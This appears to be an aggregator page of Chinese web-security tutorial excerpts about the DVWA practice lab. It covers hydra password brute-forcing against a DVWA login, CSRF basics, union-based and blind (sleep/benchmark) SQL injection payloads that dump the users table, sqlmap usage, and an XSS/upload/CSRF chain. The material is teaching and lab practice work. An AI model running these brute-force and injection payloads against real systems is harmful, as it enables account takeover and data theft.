dvwa

hydra使用,实例介绍

陌路散爱 提交于 2019-12-05 03:16:47
hydra 是一个网络帐号破解工具,支持多种协议。其作者是van Hauser,David Maciejak与其共同维护。hydra在所有支持GCC的平台能很好的编译,包括Linux,所有版本的BSD,Mac OS, Solaris等。 实例图如下: hydra 使用的具体参数文本如下: hydra -V -l admin -o log -P darkweb2017-top10000.txt 127.0.0.1 http-get-form "/DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=low; PHPSESSID=llfvb69s8cv57g5c14sfrtr81c" 参数解析:(参数解析后贴一张hydra详细的操作表) -V 详细模式,显示登录每次尝试的信息 -l 指定特定的用户名(即已经知道了用户名),这里已经知道用户名是 admin -o 将信息输出到指定的文件,这里是log文件,(不指定也行) -P 指定暴力破解的密码的文件来源,这里是从密码文件即字典 darkweb2017-top10000.txt 里面查找密码(所以好的 字典很重要,好的字典: https:/

CSRF漏洞原理浅谈

痞子三分冷 提交于 2019-12-04 16:45:57
CSRF漏洞原理浅谈 By : Mirror王宇阳 E-mail : mirrorwangyuyang@gmail.com 笔者并未深挖过CSRF,内容居多是参考《Web安全深度剖析》、《白帽子讲web安全》等诸多网络技术文章 CSRF跨站请求攻击,和XSS有相似之处;攻击者利用CSRF可以盗用用户的身份进行攻击 CSRF攻击原理 部分摘自《Web安全深度剖析》第十章 当我们打开或登录某个网站后,浏览器与网站所存放的服务器将会产生一个会话,在会话结束前,用户就可以利用具有的网站权限对网站进行操作(如:发表文章、发送邮件、删除文章等)。会话借宿后,在进行权限操作,网站就会告知会话超期或重新登录。 当登录网站后,浏览器就会和可信的站点建立一个经过认证的会话。所有通过这个经过认证的会话发送请求,都被认定为可信的行为,例如转账、汇款等操作。当这个会话认证的时间过长或者自主结束断开;必须重新建立经过认证的可信安全的会话。 CSRF攻击是建立在会话之上。比如:登录了网上银行,正在进行转账业务,这是攻击者给你发来一个URL,这个URL是攻击者精心构造的Payload,攻击者精心构造的转账业务代码,而且与你登录的是同一家银行,当你认为这是安全的链接后点击进去,你的钱就没了! 比如想给用户xxser转账1000元,正常的URL是: secbug.org/pay.jsp?user=xxser

Web安全测试学习笔记 - SQL注入-2

亡梦爱人 提交于 2019-12-04 13:32:35
接上一篇SQL注入的学习笔记,上一篇我通过报错信息得知后台数据库是MySQL( 这个信息非常重要~ ),然后通过SQL注入拿到了用户表的所有行,其实我们还可以通过MySQL的特性来拿更多的信息。 1. 获取当前数据库名称 输入:2' union select 1,database() ' 输出:数据库名称为dvwa database()是Mysql自带函数,用来获取当前数据库名称。 2.获取当前数据库所有表名 输入:1' union select 1,table_name from information_schema.tables where table_schema='dvwa 输出:dvwa数据库中一共有两张表,分别是gestbook和users information_schema是MySQL自带数据库,用来存储MySQL数据库元数据,通俗来说就是MySQL中的所有数据库名,每个数据库的表名,每个表的列名等等。 3. 获取用户表的所有字段名 输入:1' union select 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users 输出:users表中比较重要的列名:user,password 4. 获取用户表中的数据 输入: ' UNION

渗透测试环境搭建以及使用sqlmap获取mysql数据库密码

一曲冷凌霜 提交于 2019-12-03 20:30:20
通过sqlmap检测sql注入漏洞 21.1 安装SQLmap漏洞查看工具 21.2 安装渗透测试演练系统DVWA 21.3 使用SQLmap进行sql注入并获得后台管理员adnim帐号和密码 安装SQLmap:Rich七哥64.cn IP:192.168.1.64 渗透测试演练系统DVWA:Rich七哥63.cn IP:192.168.1.63 21.1.1 sql注入概述: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。 它是利用现有应用程序,可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库。 比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击 例:12306.cn 帐号和密码泄露。 21.1.2 什么是SQLmap? SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。 官方网站下载http://sqlmap.org/ 21.1.3 Rich七哥64上安装sqlmap 1、安装Python 环境 我系统中已经安装过了,没有的可以使用下面这条命令安装 [root@Rich七哥64 ~]# yum

【渗透测试小白系列】之SQLMAP工具的使用

不问归期 提交于 2019-12-03 15:31:36
(本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦) 一、介绍 1.SQL注入工具: 明小子、啊D、罗卜头、穿山甲、SQLMAP等等 2.SQLMAP: 使用python开发,开源自动化注入利用工具,支持12种数据库 ,在/plugins/dbms中可以看到支持的数据库种类,在所有注入利用工具中它是最好用的!!! 3.支持的注入类型: bool、time、报错、union、堆查询、内联 4.功能: 可以获取用户名、密码、权限、角色、数据库(表、字段、内容) 可以爆破识别密文数据 getshell(反弹shell) 命令执行 脱库或删库 二、SQLMAP的目录介绍: 目录 介绍 doc 介绍文档 extra sqlmap额外的功能,运行cmd、执行命令 lib sqlmap 的核心功能代码 plugins 包含12种数据库的识别程序 data 存放一些攻击过程种使用的工具或者命令 /data/procs 包含了mssql、mysql、oracle、postgresql这四种数据库的触发程序 /data/shell 远程命令、后门 /data/txt 表名、列名、UA字典 /data/udf 存放攻击载荷(payload) /data/XML 存放检测脚本(payload) tamper 包含各种绕过WAF的处理脚本 thirdparty 包含第三方插件

(十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析

前提是你 提交于 2019-12-03 02:30:40
一、测试前分析 前文< DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析 > 通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程,本文则利用自动化的工具SQLMap对SQL Injection(Blind)进行漏洞检测和数据获取。 手工 VS 自动化 : ①手工测试有助于理解整个注入漏洞的利用过程,可以加深技能印象 ②自动化工具所检测的效率相对较高,而且覆盖的全面性更高,数据获取的广度和深度也可以得到更好的发挥 利用SQLMap自动化工具的检测流程大致如下: 1.判断是否存在注入点、注入类型 2.获取DBMS中所有的数据库名称 3.获取Web应用当前连接的数据库 4.列出数据库中的所有用户 5.获取Web应用当前所操作的用户 6.列出可连接数据库的所有账户-对应的密码哈希 7.列出指定数据库中的所有数据表 8.列出指定数据表中的所有字段(列) 9.导出指定数据表中的列字段进行保存 10.根据导出的数据,验证数据有效性 二、全等级SQL Injection(Blind)-漏洞利用解析 利用SQLMap工具操作,本文暂不作太过详细的去拆分细节点,各个等级的服务端代码在此也不作重复展示。 以下构造SQLMap所需的测试命令时,所需用到的工具还有:浏览器自带的F12查看Request/Response/cookie

(十一)DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析

故事扮演 提交于 2019-12-03 02:13:30
一、DVWA-SQL Injection(Blind)测试分析 SQL盲注 VS 普通SQL注入 : 普通SQL注入 SQL盲注 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提示SQL语法不正确等 2.一般在页面上直接就会显示执行sql语句的结果 1.一般情况,执行SQL盲注,服务器不会直接返回具体的数据库错误or语法错误,而是会返回程序开发所设置的特定信息(也有特例,如基于报错的盲注) 2.一般在页面上不会直接显示sql执行的结果 3.有可能出现不确定sql是否执行的情况 根据页面不同的响应方式,SQL盲注分为:基于布尔的盲注、基于时间的盲注、基于报错的盲注。 SQL盲注-测试思路 对于 基于布尔的盲注 ,可通过构造真or假判断条件(数据库各项信息取值的大小比较,如:字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码...),将构造的sql语句提交到服务器,然后根据服务器对不同的请求返回不同的页面结果(True、False);然后不断调整判断条件中的数值以逼近真实值,特别是需要关注响应从True<-->False发生变化的转折点。 对于 基于时间的盲注 ,通过构造真or假判断条件的sql语句,且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求,观察服务器响应结果是否会执行所设置时间的延迟响应

基于时间的盲注和基于报错的盲注

一个人想着一个人 提交于 2019-12-03 01:22:07
盲注 是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。 基于时间的盲注: 时间的概念:使用特定函数让数据库去执行,在页面等待一定时间,来查看的的当前页面中注入 函数 sleep () Select * from dvwa.users where user_id=1 and if(length(user())=14,sleep(5),’bye’); 最终没有返回值,需要关注的是浏览器响应的时间 函数 benchmark (参数一,参数二),一边师执行多少次,二是某项操作。 1、找注入点 通过输入以下两行,根据返回的延迟判断存在字符型注入 1 and sleep(5)# 1' and sleep(5)# 2、获取信息 当前数据库长度 Select * from dvwa.users where user_id=1 and if(length(database())=4,sleep(5),’bye’); 获取每个字符 Select * from dvwa.users where user_id=1 and if(ascii(substring(database(),1,1))=114,sleep(5),’bye’); 获取数据库中表 Select * from dvwa.users where user_id=1 and if(ascii(mid(

反射型XSS+文件上传+CSRF―DVWA

匿名 (未验证) 提交于 2019-12-03 00:40:02
在学习的过程中,想到将几种漏洞进行组合练习,记录下学习过程。大佬请绕过!谢谢!! 测试环境:DVWA,安装方法参考上一篇: https://www.cnblogs.com/aq-ry/p/9220584.html 前期知识:了解反射型XSS、文件上传、CSRF漏洞原理及利用方法。 一、反射型 XSS; 查看源码文件:WWW\DVWA\vulnerabilities\xss_r\source\low.php 未做任何过滤,构造如下HTML代码,分别为两张图片,诱惑用户去点击,形成XSS攻击: <!DOCTYPE html> <html> <head> <title>a标签测试</title> <meta charset="utf-8"> </head> <body> 你想成为一名黑客吗?<br> <a href="http://127.0.0.1/DVWA/vulnerabilities/upload/"> <img src="https://ss1.bdstatic.com/70cFvXSh_Q1YnxGkpoWK1HF6hhy/it/u=2067493440,1557616999&fm=27&gp=0.jpg" /> </a> </body> </html> <!DOCTYPE html> <html> <head> <title>a标签测试</title> <meta

dvwa系列-sql注入

匿名 (未验证) 提交于 2019-12-03 00:18:01
本篇博文就不详细讲解sql注入的成因了,有兴趣的就去看看我sqlilabs的博文吧,我后面会慢慢完成sqlilabs的博文 low 我们先来判断注入点吧,用最常规的单引号试一试,报错了,初步判断应该是字符型的单引号注入。 下面就推断一下后台执行的sql语句,因为这是一个根据输入的id来查找信息的地方嘛,后台sql大概是: select id,firstname,surname from 表名 where id= '用户输入' firstname,surname字段是我猜的,但是根据页面回显我们可以看到: 页面还是有三处回显的,现在我们需要来判断一下字段数,这样才方便以后利用union语句进行攻击,判断字段数我们一般利用order by语句: ' order by 2 #(不报错) ' order by 3 #(报错) 由此可见字段数是2,那么我们再构造攻击语句: ' union select version(), database ()# 根据这个回显我们也知道id不是从数据库中查询的道德,应该是直接将我们的输入放到了页面上。所以,这部就是一个xss漏洞吗* _ * medium 看到这个情景下的这个东西,第一反应,抓包,改包。还有这是一道数字型注入 图片中有攻击语句 high 我总觉得这一题与第一题没什么差异,直接单引号就注入了,看看源代码吧: high等级: <?php if